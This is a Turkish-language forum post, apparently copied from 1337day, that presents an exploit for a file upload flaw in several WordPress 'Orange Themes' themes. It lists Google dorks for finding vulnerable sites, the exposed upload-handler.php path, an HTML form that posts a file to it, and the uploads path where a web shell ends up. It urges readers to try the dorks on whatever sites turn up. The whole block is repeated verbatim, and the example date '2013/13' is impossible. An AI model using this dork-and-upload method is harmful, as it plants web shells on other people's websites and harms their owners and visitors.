Sa Arkadaşlar 1337 Day'da Gezinirken Güzel Bir Wp Açığı Gördüm Sizede Sunmak İstedim Arkadaşlar Dorku Googleye Aratıp Şansınızı Deniyosunuz Neyse Dorkları Vs Vereyim 
* Wordpress Orange Themes CSRF File Upload Vulnerability *
Googleye Aratacağımız Dorklar
#Dork :
inurl:"/wp-content/themes/agritourismo-theme/"
inurl:"/wp-content/themes/bordeaux-theme/"
inurl:"/wp-content/themes/bulteno-theme/"
inurl:"/wp-content/themes/oxygen-theme/"
inurl:"/wp-content/themes/radial-theme/"
inurl:"/wp-content/themes/rayoflight-theme/"
inurl:"/wp-content/themes/reganto-theme/"
inurl:"/wp-content/themes/rockstar-theme/"
CSRF File Upload Vulnerability
Yani Nereye Up Etceğmizi Gösteriyo
' http://site-target/wp-content/themes/rockstar-theme/functions/upload-handler.php '
Script :
<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/rockstar-theme/functions/upload-handler.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>
Ve En Son :
http://site-target/wp-content/uploads/[years]/[month]/your_shell.php
Yani Yaşınız Tarih Ve Shelliniz
Örnek :
http://127.0.0.1/wp-content/uploads/2013/13/inc0vers.php
Not : Açık Jje Incovers Tarafından Bulunmuştur Ve 1337 Daydan Alınmıştır
* Wordpress Orange Themes CSRF File Upload Vulnerability *
Googleye Aratacağımız Dorklar
#Dork :
inurl:"/wp-content/themes/agritourismo-theme/"
inurl:"/wp-content/themes/bordeaux-theme/"
inurl:"/wp-content/themes/bulteno-theme/"
inurl:"/wp-content/themes/oxygen-theme/"
inurl:"/wp-content/themes/radial-theme/"
inurl:"/wp-content/themes/rayoflight-theme/"
inurl:"/wp-content/themes/reganto-theme/"
inurl:"/wp-content/themes/rockstar-theme/"
CSRF File Upload Vulnerability
Yani Nereye Up Etceğmizi Gösteriyo
' http://site-target/wp-content/themes/rockstar-theme/functions/upload-handler.php '
Script :
<form enctype="multipart/form-data"
action="http://127.0.0.1/wp-content/themes/rockstar-theme/functions/upload-handler.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>
Ve En Son :
http://site-target/wp-content/uploads/[years]/[month]/your_shell.php
Yani Yaşınız Tarih Ve Shelliniz
Örnek :
http://127.0.0.1/wp-content/uploads/2013/13/inc0vers.php
Not : Açık Jje Incovers Tarafından Bulunmuştur Ve 1337 Daydan Alınmıştır
